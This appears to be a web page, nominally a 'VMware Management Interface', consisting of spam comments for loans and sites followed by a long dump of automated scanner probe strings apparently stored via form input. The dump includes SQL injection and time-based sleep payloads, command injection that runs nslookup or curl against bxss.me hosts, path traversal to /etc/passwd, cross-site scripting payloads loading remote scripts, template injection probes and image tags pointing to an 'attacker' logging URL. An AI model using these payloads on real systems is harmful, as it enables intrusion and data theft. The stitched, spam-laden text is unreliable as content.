VMware Management Interface:

%anchor text% https://removebgai.com/ I was wondering if you ever considered changing the layout of your site? Its very well written

Choosing Between Personalized Piggy Banks To Understand All The Or A Bank \xeb\x8b\xa4\xeb\xb0\x94\xec\x98\xa4 \xeb\xa8\xb8\xeb\x8b\x88 - https://qooh.me/elbowgrape57,

Introduction To Private Loans - Understanding The Payday Loan System \xec\xa0\x84\xec\x84\xb8\xec\x9e\x90\xea\xb8\x88 \xeb\x8c\x80\xec\xb6\x9c [hoopstack.com]

555

555

1Y70EPZ2O

555

555

-1 OR 2+471-471-1=0+0+0+1 --

-1 OR 3+471-471-1=0+0+0+1 --

-1 OR 3*2<(0+5+471-471) --

echo axojat$()\ icxpjy\nz^xyu||a #' &echo axojat$()\ icxpjy\nz^xyu||a #|" &echo axojat$()\ icxpjy\nz^xyu||a #

response.write(9326971*9305372)

-1 OR 3*2>(0+5+471-471) --

BkeyAGgc

'+response.write(9326971*9305372)+'

&echo bmqoog$()\ gsshix\nz^xyu||a #' &echo bmqoog$()\ gsshix\nz^xyu||a #|" &echo bmqoog$()\ gsshix\nz^xyu||a #

JNhFwTyo: QEzruxXZ

-1 OR 2+359-359-1=0+0+0+1

555&echo zlprfl$()\ pmrrhw\nz^xyu||a #' &echo zlprfl$()\ pmrrhw\nz^xyu||a #|" &echo zlprfl$()\ pmrrhw\nz^xyu||a #

"+response.write(9326971*9305372)+"

../../../../../../../../../../../../../../etc/passwd

|echo fkkgxp$()\ qrijyu\nz^xyu||a #' |echo fkkgxp$()\ qrijyu\nz^xyu||a #|" |echo fkkgxp$()\ qrijyu\nz^xyu||a #

-1 OR 3+359-359-1=0+0+0+1

555

../../../../../../../../../../../../../../windows/win.ini

555

555

-1 OR 3*2<(0+5+359-359)

555|echo zwwpzj$()\ ytbemz\nz^xyu||a #' |echo zwwpzj$()\ ytbemz\nz^xyu||a #|" |echo zwwpzj$()\ ytbemz\nz^xyu||a #

555

file:///etc/passwd

(nslookup -q=cname hitprpkaohvgxb4d13.bxss.me||curl hitprpkaohvgxb4d13.bxss.me))

-1 OR 3*2>(0+5+359-359)

555

555

-1' OR 2+279-279-1=0+0+0+1 --

$(nslookup -q=cname hitkcaoglsyuh600d5.bxss.me||curl hitkcaoglsyuh600d5.bxss.me)

555<esi:include src="http://bxss.me/rpb.png"/>

${10000416+10000077}

../555

&nslookup -q=cname hitkkbwsgbcgj8a91e.bxss.me&'\"`0&nslookup -q=cname hitkkbwsgbcgj8a91e.bxss.me&`'

-1' OR 3+279-279-1=0+0+0+1 --

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

./555

555

555

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

-1' OR 3*2<(0+5+279-279) --

&(nslookup -q=cname hitcdjxcgzdty70bc5.bxss.me||curl hitcdjxcgzdty70bc5.bxss.me)&'\"`0&(nslookup -q=cname hitcdjxcgzdty70bc5.bxss.me||curl hitcdjxcgzdty70bc5.bxss.me)&`'

555&n997335=v902912

555

555

|(nslookup -q=cname hitjkmipqpptzcd8f1.bxss.me||curl hitjkmipqpptzcd8f1.bxss.me)

-1' OR 3*2>(0+5+279-279) --

Http://bxss.me/t/fit.txt

555

)

555

http://bxss.me/t/fit.txt?.jpg

`(nslookup -q=cname hitguiinoklujbdebe.bxss.me||curl hitguiinoklujbdebe.bxss.me)`

!(()&&!|*|*|

555

^(#$!@#$)(()))******

/etc/shells

|(nslookup${IFS}-q${IFS}cname${IFS}hitbthnslgvhdfeca9.bxss.me||curl${IFS}hitbthnslgvhdfeca9.bxss.me)

555

555

-1' OR 2+623-623-1=0+0+0+1 or 'UIkBcCUn'='

&(nslookup${IFS}-q${IFS}cname${IFS}hitggmqqzphpn5c8a5.bxss.me||curl${IFS}hitggmqqzphpn5c8a5.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitggmqqzphpn5c8a5.bxss.me||curl${IFS}hitggmqqzphpn5c8a5.bxss.me)&`'

../../../../../../../../../../../../../../etc/shells

-1' OR 3+623-623-1=0+0+0+1 or 'UIkBcCUn'='

555

555

'.gethostbyname(lc('hitmg'.'rqopotrh886ee.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(114).chr(69).chr(103).chr(72).'

555

-1' OR 3*2<(0+5+623-623) or 'UIkBcCUn'='

c:/windows/win.ini

555

bxss.me

-1' OR 3*2>(0+5+623-623) or 'UIkBcCUn'='

".gethostbyname(lc("hitin"."jgfniahk817cd.bxss.me."))."A".chr(67).chr(hex("58")).chr(117).chr(73).chr(109).chr(89)."

555

555

'

-1" OR 2+936-936-1=0+0+0+1 --

555

555

-1" OR 3+936-936-1=0+0+0+1 --

"

gethostbyname(lc('hitlv'.'uxeaikjcd3bfb.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(69).chr(99).chr(67)

555

555

555

'"()

${@print(md5(31337))}

-1" OR 3*2<(0+5+936-936) --

555

555

-1" OR 3*2>(0+5+936-936) --

${@print(md5(31337))}\

555'&&sleep(27*1000)*chypcg&&'

555

555*if(now()=sysdate(),sleep(15),0)

'.print(md5(31337)).'

HttP://bxss.me/t/xss.html?%00

555

555

555

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

555

555"&&sleep(27*1000)*mdtpsm&&"

555

555

bxss.me/t/xss.html?%00

555'||sleep(27*1000)*uryxnn||'

"+"A".concat(70-3).concat(22*4).concat(98).concat(69).concat(122).concat(75)+(require"socket" Socket.gethostbyname("hitfr"+"tdwknmrc0674b.bxss.me.")[3].to_s)+"

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

555

'+'A'.concat(70-3).concat(22*4).concat(110).concat(85).concat(116).concat(68)+(require'socket' Socket.gethostbyname('hitwc'+'txwedvyme52cf.bxss.me.')[3].to_s)+'

555"||sleep(27*1000)*dcrckb||"

555

555

555

555

'A'.concat(70-3).concat(22*4).concat(99).concat(66).concat(110).concat(72)+(require'socket' Socket.gethostbyname('hitcy'+'iaijxwsbb81d2.bxss.me.')[3].to_s)

555

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

555

555

555

555

555-1

555

555

555

comments

555

555

555

555

555-1)

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

555

555

555

comments

555

xfs.bxss.me

555

555-1 waitfor delay '0:0:15' --

555

555

comments/.

555

555'"()&%<zzz><ScRiPt >ITT0(9796)</ScRiPt>

555aTTMY80X'

'"

555

555

555

<!--

555-1 OR 341=(SELECT 341 FROM PG_SLEEP(15))--

'"()&%<zzz><ScRiPt >ITT0(9385)</ScRiPt>

555

555

555

970956

5559674588

555-1) OR 221=(SELECT 221 FROM PG_SLEEP(15))--

555

http://xfs.bxss.me?144.36

555

555

555

bfg4950\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl4950

xfs.bxss.me?144.36

bfgx3039\xc0\xbez1\xc0\xbcz2a\x90bcxhjl3039

555-1)) OR 340=(SELECT 340 FROM PG_SLEEP(15))--

<%={{={@{#{${dfb}}%>

//xfs.bxss.me?144.36

555OQFzk1Kc' OR 938=(SELECT 938 FROM PG_SLEEP(15))--

555pZDsSbLs') OR 125=(SELECT 125 FROM PG_SLEEP(15))--

/\xfs.bxss.me?144.36

555

<th:t="${dfb}#foreach

5554YCDDA08')) OR 390=(SELECT 390 FROM PG_SLEEP(15))--

555

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

zhtGQBHM

555

dfb{{98991*97996}}xca

555

dfb[[${98991*97996}]]xca

555

dfb__${98991*97996}__::.x

555

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555

555<ScRiPt >ITT0(9500)</ScRiPt>

555

555<WQC9XK>P0UKZ[!+!]</WQC9XK>

555

555<script>ITT0(9460)</script>

555

555

555<script>ITT0(9918)</script>9918

555<ScR<ScRiPt>IpT>ITT0(9548)</sCr<ScRiPt>IpT>

555<ScRiPt >ITT0(9717)</ScRiPt>

555

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9778></ScRiPt>

555

555<ScRiPt >ITT0(9086)</ScRiPt>

555<svg  \xa0onload=ITT0(9659)

555

555<isindex type=image src=1 onerror=ITT0(9784)>

555<iframe src='data:text/html

555<body onload=ITT0(9592)>

555

555<img src=//xss.bxss.me/t/dot.gif onload=ITT0(9228)>

555<img src=xyz OnErRor=ITT0(9334)>

555<img/src=">" onerror=alert(9318)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%49%54%54%30%289450%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\ITT0(9807)\u003C/sCripT\u003E

555&lt

\xf6<img zzz onmouseover=ITT0(95101) //\xf6>

555

555'"()&%<zzz><ScRiPt >hfr3(9012)</ScRiPt>

'"()&%<zzz><ScRiPt >hfr3(9116)</ScRiPt>

555<input autofocus onfocus=ITT0(9182)>

<a HrEF=http://xss.bxss.me></a>

555

5559456398

<a HrEF=jaVaScRiPT:>

555}body{zzz:Expre/**/SSion(ITT0(9034))}

555

bfg6544\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl6544

bfgx9150\xc0\xbez1\xc0\xbcz2a\x90bcxhjl9150

555bXZS2 <ScRiPt >ITT0(9997)</ScRiPt>

555

555<WQZ7J9>2M8LN[!+!]</WQZ7J9>

<%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

555<ifRAme sRc=9679.com></IfRamE>

555

555<aEk9IvS x=9907>

555

555<img sRc='http://attacker-9738/log.php?

555

555

555<aCSKdRn<

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555

555

555

555

dfb{{98991*97996}}xca

dfb[[${98991*97996}]]xca

555

555

dfb__${98991*97996}__::.x

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >hfr3(9692)</ScRiPt>

555<WEQMVZ>XQKML[!+!]</WEQMVZ>

555<script>hfr3(9646)</script>

555<script>hfr3(9840)</script>9840

555<ScR<ScRiPt>IpT>hfr3(9073)</sCr<ScRiPt>IpT>

555<ScRiPt >hfr3(9950)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9659></ScRiPt>

555<ScRiPt >hfr3(9283)</ScRiPt>

555<svg  \xa0onload=hfr3(9968)

555<isindex type=image src=1 onerror=hfr3(9265)>

555<iframe src='data:text/html

555<body onload=hfr3(9309)>

555'"()&%<zzz><ScRiPt >yrg5(9430)</ScRiPt>

555<img src=//xss.bxss.me/t/dot.gif onload=hfr3(9198)>

'"()&%<zzz><ScRiPt >yrg5(9258)</ScRiPt>

555<img src=xyz OnErRor=hfr3(9636)>

5559129151

555<img/src=">" onerror=alert(9807)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%68%66%72%33%289740%29%3C%2F%73%43%72%69%70%54%3E

bfg4945\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl4945

555\u003CScRiPt\hfr3(9690)\u003C/sCripT\u003E

bfgx2414\xc0\xbez1\xc0\xbcz2a\x90bcxhjl2414

555&lt

<%={{={@{#{${dfb}}%>

\xf6<img zzz onmouseover=hfr3(93761) //\xf6>

555<input autofocus onfocus=hfr3(9668)>

555

<a HrEF=http://xss.bxss.me></a>

<th:t="${dfb}#foreach

<a HrEF=jaVaScRiPT:>

555

555}body{zzz:Expre/**/SSion(hfr3(9548))}

555mbPKV <ScRiPt >hfr3(9986)</ScRiPt>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<WSMMYT>R1U2S[!+!]</WSMMYT>

555

555<ifRAme sRc=9709.com></IfRamE>

dfb{{98991*97996}}xca

555<a06V5n6 x=9667>

dfb[[${98991*97996}]]xca

555<img sRc='http://attacker-9799/log.php?

555'"()&%<zzz><ScRiPt >lFTr(9788)</ScRiPt>

dfb__${98991*97996}__::.x

555<agN21lZ<

'"()&%<zzz><ScRiPt >lFTr(9568)</ScRiPt>

555'"()&%<zzz><ScRiPt >yhqZ(9685)</ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

5559692573

555<ScRiPt >yrg5(9945)</ScRiPt>

'"()&%<zzz><ScRiPt >yhqZ(9167)</ScRiPt>

555<WVAXAC>WRGUP[!+!]</WVAXAC>

5559411855

bfg10029\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10029

555<script>yrg5(9352)</script>

bfgx10114\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10114

555<script>yrg5(9813)</script>9813

<%={{={@{#{${dfb}}%>

bfg9366\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl9366

bfgx4386\xc0\xbez1\xc0\xbcz2a\x90bcxhjl4386

555<ScR<ScRiPt>IpT>yrg5(9331)</sCr<ScRiPt>IpT>

555

<th:t="${dfb}#foreach

<%={{={@{#{${dfb}}%>

555

555<ScRiPt >yrg5(9314)</ScRiPt>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

555

555

"}}dfb{{98991*97996}}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9530></ScRiPt>

"%}dfb{{98991*97996}}xca

555<ScRiPt >yrg5(9161)</ScRiPt>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

"}dfb{98991*97996}xca

"}dfb${98991*97996}xca

dfb{{98991*97996}}xca

555<svg  \xa0onload=yrg5(9151)

dfb[[${98991*97996}]]xca

"}dfb#{98991*97996}xca

555<isindex type=image src=1 onerror=yrg5(9450)>

"}dfb{#98991*97996}xca

555<iframe src='data:text/html

"}dfb{@98991*97996}xca

dfb__${98991*97996}__::.x

"}}dfb{{=98991*97996}}xca

555<body onload=yrg5(9150)>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

")dfb@(98991*97996)xca

555<img src=//xss.bxss.me/t/dot.gif onload=yrg5(9325)>

"%>dfb<%=98991*97996%>xca

555<ScRiPt >yhqZ(9282)</ScRiPt>

555<WIREJT>ID9PG[!+!]</WIREJT>

555<img src=xyz OnErRor=yrg5(9472)>

555<script>yhqZ(9724)</script>

"}dfb#set($x=98991*97996)${x}xca

555<img/src=">" onerror=alert(9673)>

555<script>yhqZ(9296)</script>9296

"}dfb{{"abc"|title}}xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%79%72%67%35%289889%29%3C%2F%73%43%72%69%70%54%3E

"print("dfb" . 98991*97996 . "xca")

555'"()&%<zzz><ScRiPt >LOvz(9144)</ScRiPt>

555\u003CScRiPt\yrg5(9746)\u003C/sCripT\u003E

"98991*97996*98991*97996

555<ScR<ScRiPt>IpT>yhqZ(9660)</sCr<ScRiPt>IpT>

'"()&%<zzz><ScRiPt >LOvz(9094)</ScRiPt>

5559003895

555&lt

"}dfb{@math key=98991 method="multiply" operand=97996/}xca

555<ScRiPt >yhqZ(9990)</ScRiPt>

\xf6<img zzz onmouseover=yrg5(97991) //\xf6>

"}}}dfb{{{this}}}xca

bfg10064\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10064

555<input autofocus onfocus=yrg5(9687)>

"}#{98991*97996*98991*97996}

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9334></ScRiPt>

<a HrEF=http://xss.bxss.me></a>

"}dfb#{xca}=123

bfgx1004\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1004

555<ScRiPt >yhqZ(9631)</ScRiPt>

"}}dfb{{'abcd'.toUpperCase()}}xca

<%={{={@{#{${dfb}}%>

555<svg  \xa0onload=yhqZ(9725)

"}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

<a HrEF=jaVaScRiPT:>

555

555<isindex type=image src=1 onerror=yhqZ(9132)>

"}}dfb{{98991*97996}}xca

555}body{zzz:Expre/**/SSion(yrg5(9612))}

"}dfb[[${98991*97996}]]xca

<th:t="${dfb}#foreach

555<iframe src='data:text/html

555vcXMH <ScRiPt >yrg5(9826)</ScRiPt>

"dfb__${98991*97996}__::.x

555<body onload=yhqZ(9630)>

"}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555

555<WADWOD>ZJJHL[!+!]</WADWOD>

555<img src=//xss.bxss.me/t/dot.gif onload=yhqZ(9755)>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<img src=xyz OnErRor=yhqZ(9900)>

'}}dfb{{98991*97996}}xca

555

555<ifRAme sRc=9676.com></IfRamE>

555<img/src=">" onerror=alert(9322)>

'%}dfb{{98991*97996}}xca

dfb{{98991*97996}}xca

'}dfb{98991*97996}xca

dfb[[${98991*97996}]]xca

555<ac5fZQS x=9993>

%35%35%35%3C%53%63%52%69%50%74%20%3E%79%68%71%5A%289764%29%3C%2F%73%43%72%69%70%54%3E

555<img sRc='http://attacker-9860/log.php?

'}dfb${98991*97996}xca

dfb__${98991*97996}__::.x

555<aSRPjLW<

'}dfb#{98991*97996}xca

555\u003CScRiPt\yhqZ(9986)\u003C/sCripT\u003E

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555&lt

'}dfb{#98991*97996}xca

\xf6<img zzz onmouseover=yhqZ(92831) //\xf6>

'}dfb{@98991*97996}xca

555<ScRiPt >LOvz(9215)</ScRiPt>

555<input autofocus onfocus=yhqZ(9439)>

555<WNGXOD>Z7GCT[!+!]</WNGXOD>

'}}dfb{{=98991*97996}}xca

555<script>LOvz(9727)</script>

<a HrEF=http://xss.bxss.me></a>

')dfb@(98991*97996)xca

<a HrEF=jaVaScRiPT:>

555'"()&%<zzz><ScRiPt >Ozkj(9069)</ScRiPt>

555'"()&%<zzz><ScRiPt >zzGo(9664)</ScRiPt>

555}body{zzz:Expre/**/SSion(yhqZ(9977))}

'"()&%<zzz><ScRiPt >Ozkj(9987)</ScRiPt>

'"()&%<zzz><ScRiPt >zzGo(9960)</ScRiPt>

555<script>LOvz(9882)</script>9882

'%>dfb<%=98991*97996%>xca

5559924271

5559985247

555<ScR<ScRiPt>IpT>LOvz(9046)</sCr<ScRiPt>IpT>

555ai33M <ScRiPt >yhqZ(9691)</ScRiPt>

'}dfb#set($x=98991*97996)${x}xca

555<ScRiPt >LOvz(9571)</ScRiPt>

bfg4097\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl4097

bfg5089\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl5089

555<WQ8EBG>Y8QLE[!+!]</WQ8EBG>

'}dfb{{"abc"|title}}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9448></ScRiPt>

bfgx3806\xc0\xbez1\xc0\xbcz2a\x90bcxhjl3806

555<ifRAme sRc=9551.com></IfRamE>

bfgx5671\xc0\xbez1\xc0\xbcz2a\x90bcxhjl5671

'print("dfb" . 98991*97996 . "xca")

555<asZx8Dz x=9163>

555<ScRiPt >LOvz(9906)</ScRiPt>

<%={{={@{#{${dfb}}%>

555<img sRc='http://attacker-9925/log.php?

<%={{={@{#{${dfb}}%>

555<svg  \xa0onload=LOvz(9562)

<th:t="${dfb}#foreach

'98991*97996*98991*97996

555<isindex type=image src=1 onerror=LOvz(9961)>

555

555

555<a4QYvBt<

<th:t="${dfb}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<iframe src='data:text/html

'}dfb{@math key=98991 method="multiply" operand=97996/}xca

555<body onload=LOvz(9220)>

555

555

'}}}dfb{{{this}}}xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<img src=//xss.bxss.me/t/dot.gif onload=LOvz(9793)>

555

'}#{98991*97996*98991*97996}

dfb{{98991*97996}}xca

dfb{{98991*97996}}xca

555<img src=xyz OnErRor=LOvz(9816)>

dfb[[${98991*97996}]]xca

'}dfb#{xca}=123

555<img/src=">" onerror=alert(9532)>

dfb[[${98991*97996}]]xca

'}}dfb{{'abcd'.toUpperCase()}}xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%4C%4F%76%7A%289424%29%3C%2F%73%43%72%69%70%54%3E

dfb__${98991*97996}__::.x

'}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

dfb__${98991*97996}__::.x

'}}dfb{{98991*97996}}xca

555\u003CScRiPt\LOvz(9840)\u003C/sCripT\u003E

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >Ozkj(9265)</ScRiPt>

'}dfb[[${98991*97996}]]xca

555<ScRiPt >zzGo(9507)</ScRiPt>

'dfb__${98991*97996}__::.x

555&lt

555<WC3LLB>G6RVK[!+!]</WC3LLB>

'}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<WNKWFW>IUHAD[!+!]</WNKWFW>

555<script>zzGo(9145)</script>

1}}dfb{{98991*97996}}xca

\xf6<img zzz onmouseover=LOvz(97851) //\xf6>

555<script>zzGo(9373)</script>9373

1%}dfb{{98991*97996}}xca

555<script>Ozkj(9807)</script>

555<ScR<ScRiPt>IpT>zzGo(9957)</sCr<ScRiPt>IpT>

555<input autofocus onfocus=LOvz(9251)>

1}dfb{98991*97996}xca

555<script>Ozkj(9948)</script>9948

555<ScRiPt >zzGo(9753)</ScRiPt>

1}dfb${98991*97996}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9377></ScRiPt>

1}dfb#{98991*97996}xca

<a HrEF=http://xss.bxss.me></a>

555<ScRiPt >zzGo(9752)</ScRiPt>

555<ScR<ScRiPt>IpT>Ozkj(9113)</sCr<ScRiPt>IpT>

<a HrEF=jaVaScRiPT:>

1}dfb{#98991*97996}xca

555<ScRiPt >Ozkj(9197)</ScRiPt>

555'"()&%<zzz><ScRiPt >F6r2(9259)</ScRiPt>

555<svg  \xa0onload=zzGo(9336)

1}dfb{@98991*97996}xca

'"()&%<zzz><ScRiPt >F6r2(9533)</ScRiPt>

555}body{zzz:Expre/**/SSion(LOvz(9945))}

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9863></ScRiPt>

555<isindex type=image src=1 onerror=zzGo(9346)>

555<ScRiPt >Ozkj(9040)</ScRiPt>

1}}dfb{{=98991*97996}}xca

5559063241

555<svg  \xa0onload=Ozkj(9059)

555AJXmj <ScRiPt >LOvz(9562)</ScRiPt>

555<iframe src='data:text/html

1)dfb@(98991*97996)xca

555<WL3INR>UQT31[!+!]</WL3INR>

555<isindex type=image src=1 onerror=Ozkj(9284)>

555<body onload=zzGo(9482)>

555<ifRAme sRc=9430.com></IfRamE>

bfg1971\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl1971

555<img src=//xss.bxss.me/t/dot.gif onload=zzGo(9833)>

555<iframe src='data:text/html

555<ammULD3 x=9912>

bfgx10512\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10512

1%>dfb<%=98991*97996%>xca

555<img src=xyz OnErRor=zzGo(9315)>

555<body onload=Ozkj(9053)>

555<img sRc='http://attacker-9093/log.php?

<%={{={@{#{${dfb}}%>

555<img src=//xss.bxss.me/t/dot.gif onload=Ozkj(9561)>

555<img/src=">" onerror=alert(9896)>

1}dfb#set($x=98991*97996)${x}xca

555

555<img src=xyz OnErRor=Ozkj(9948)>

1}dfb{{"abc"|title}}xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%7A%7A%47%6F%289180%29%3C%2F%73%43%72%69%70%54%3E

555<aRM5mdC<

<th:t="${dfb}#foreach

555<img/src=">" onerror=alert(9617)>

555

1print("dfb" . 98991*97996 . "xca")

%35%35%35%3C%53%63%52%69%50%74%20%3E%4F%7A%6B%6A%289081%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\zzGo(9275)\u003C/sCripT\u003E

198991*97996*98991*97996

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1}dfb{@math key=98991 method="multiply" operand=97996/}xca

555&lt

555\u003CScRiPt\Ozkj(9068)\u003C/sCripT\u003E

\xf6<img zzz onmouseover=zzGo(91351) //\xf6>

555

555&lt

1}}}dfb{{{this}}}xca

dfb{{98991*97996}}xca

555<input autofocus onfocus=zzGo(9328)>

1}#{98991*97996*98991*97996}

\xf6<img zzz onmouseover=Ozkj(92871) //\xf6>

<a HrEF=http://xss.bxss.me></a>

555<input autofocus onfocus=Ozkj(9864)>

dfb[[${98991*97996}]]xca

1}dfb#{xca}=123

dfb__${98991*97996}__::.x

<a HrEF=http://xss.bxss.me></a>

1}}dfb{{'abcd'.toUpperCase()}}xca

<a HrEF=jaVaScRiPT:>

<a HrEF=jaVaScRiPT:>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555}body{zzz:Expre/**/SSion(Ozkj(9320))}

555}body{zzz:Expre/**/SSion(zzGo(9318))}

555<ScRiPt >F6r2(9704)</ScRiPt>

1}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555CFxYd <ScRiPt >zzGo(9140)</ScRiPt>

5559huti <ScRiPt >Ozkj(9591)</ScRiPt>

555<W7KCNV>FFRUZ[!+!]</W7KCNV>

555<W1PWJK>JLMBC[!+!]</W1PWJK>

555<W9KHML>BER9Y[!+!]</W9KHML>

1}}dfb{{98991*97996}}xca

1}dfb[[${98991*97996}]]xca

555<script>F6r2(9895)</script>

555<ifRAme sRc=9626.com></IfRamE>

1dfb__${98991*97996}__::.x

555<ifRAme sRc=9976.com></IfRamE>

555<akIXa9P x=9589>

555<script>F6r2(9010)</script>9010

1}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<aJfzY3V x=9911>

555<img sRc='http://attacker-9831/log.php?

555<ScRiPt >lFTr(9764)</ScRiPt>

555<ScR<ScRiPt>IpT>F6r2(9467)</sCr<ScRiPt>IpT>

555<img sRc='http://attacker-9454/log.php?

555<aaUzDPv<

555<aRZZG6I<

555<WENE9P>RFIML[!+!]</WENE9P>

555<ScRiPt >F6r2(9731)</ScRiPt>

555<script>lFTr(9195)</script>

555<script>lFTr(9835)</script>9835

555'"()&%<zzz><ScRiPt >5Mb2(9693)</ScRiPt>

555<ScR<ScRiPt>IpT>lFTr(9044)</sCr<ScRiPt>IpT>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9344></ScRiPt>

555<ScRiPt >lFTr(9617)</ScRiPt>

'"()&%<zzz><ScRiPt >5Mb2(9359)</ScRiPt>

555<ScRiPt >F6r2(9855)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9014></ScRiPt>

5559149256

555<svg  \xa0onload=F6r2(9874)

555<ScRiPt >lFTr(9044)</ScRiPt>

bfg6211\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl6211

bfgx10532\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10532

555<svg  \xa0onload=lFTr(9938)

555<isindex type=image src=1 onerror=F6r2(9949)>

555<isindex type=image src=1 onerror=lFTr(9583)>

<%={{={@{#{${dfb}}%>

555<iframe src='data:text/html

555<iframe src='data:text/html

555

555<body onload=lFTr(9996)>

555<body onload=F6r2(9402)>

555<img src=//xss.bxss.me/t/dot.gif onload=F6r2(9307)>

<th:t="${dfb}#foreach

555<img src=//xss.bxss.me/t/dot.gif onload=lFTr(9546)>

555

555<img src=xyz OnErRor=F6r2(9969)>

555<img src=xyz OnErRor=lFTr(9050)>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<img/src=">" onerror=alert(9050)>

555<img/src=">" onerror=alert(9535)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%6C%46%54%72%289975%29%3C%2F%73%43%72%69%70%54%3E

555

%35%35%35%3C%53%63%52%69%50%74%20%3E%46%36%72%32%289503%29%3C%2F%73%43%72%69%70%54%3E

555

555\u003CScRiPt\lFTr(9185)\u003C/sCripT\u003E

dfb{{98991*97996}}xca

555\u003CScRiPt\F6r2(9026)\u003C/sCripT\u003E

555&lt

dfb[[${98991*97996}]]xca

555&lt

\xf6<img zzz onmouseover=lFTr(94991) //\xf6>

dfb__${98991*97996}__::.x

555<input autofocus onfocus=lFTr(9280)>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

\xf6<img zzz onmouseover=F6r2(97861) //\xf6>

<a HrEF=http://xss.bxss.me></a>

555<ScRiPt >5Mb2(9289)</ScRiPt>

555<input autofocus onfocus=F6r2(9602)>

<a HrEF=jaVaScRiPT:>

555<WT7VGC>XOMEL[!+!]</WT7VGC>

555}body{zzz:Expre/**/SSion(lFTr(9181))}

555<script>5Mb2(9869)</script>

<a HrEF=http://xss.bxss.me></a>

555vCW0L <ScRiPt >lFTr(9592)</ScRiPt>

<a HrEF=jaVaScRiPT:>

555<W9ZKTC>VU44S[!+!]</W9ZKTC>

555<script>5Mb2(9256)</script>9256

555'"()&%<zzz><ScRiPt >Ia4Y(9126)</ScRiPt>

555}body{zzz:Expre/**/SSion(F6r2(9122))}

555<ScR<ScRiPt>IpT>5Mb2(9759)</sCr<ScRiPt>IpT>

'"()&%<zzz><ScRiPt >Ia4Y(9121)</ScRiPt>

555b5Cfz <ScRiPt >F6r2(9914)</ScRiPt>

555<ifRAme sRc=9010.com></IfRamE>

555<WCCUKX>CXPEB[!+!]</WCCUKX>

